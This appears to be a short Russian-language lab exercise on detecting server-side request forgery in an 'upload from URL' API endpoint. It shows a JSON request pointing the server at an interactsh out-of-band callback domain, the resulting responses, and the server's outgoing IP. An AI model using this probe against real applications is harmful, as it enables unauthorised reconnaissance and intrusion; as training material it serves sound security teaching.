

Задание 5.

В случае SSRF злоумышленник использует функциональность приложения, которая выполняет сетевые запросы от имени сервера:

POST /files/upload_from_url/ Upload From Url

Parameters

No parameters

Request body required

```
{  "url": ""}
```

1)Используем сервис <https://app.interactsh.com/#/> для отправления запроса на потенциально вредоносный ресурс и изучаем отклик.

2)Отправляем запрос на <http://pbmhdpxxgkaegyoybsfsjwaorr6m4h4p.oast.fun>

```
{  "url": "http://pbmhdpxxgkaegyoybsfsjwaorr6m4h4p.oast.fun"}
```

3) Сравниваем ответы

Code	Details
200	<p>Response body</p> <pre>{ "file_name": "pbmhdpxxgkaegyoybsfsjwaorr6m4h4p.oast.fun", "file_content": "<html><head></head><body>p4h4m6rroawjsfsbyoygeakgxxpxdhmbp</body></html>"}</pre>

и

Response

```
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Server: oast.fun
X-Interactsh-Version: 1.1.8

<html><head></head><body>p4h4m6rroawjsfsbyoygeakgxxpxdhmbp</body></html>
```

4) Видим, откуда совершен запрос

From IP address: 89.169.175.11 at 2024-08-30_10:25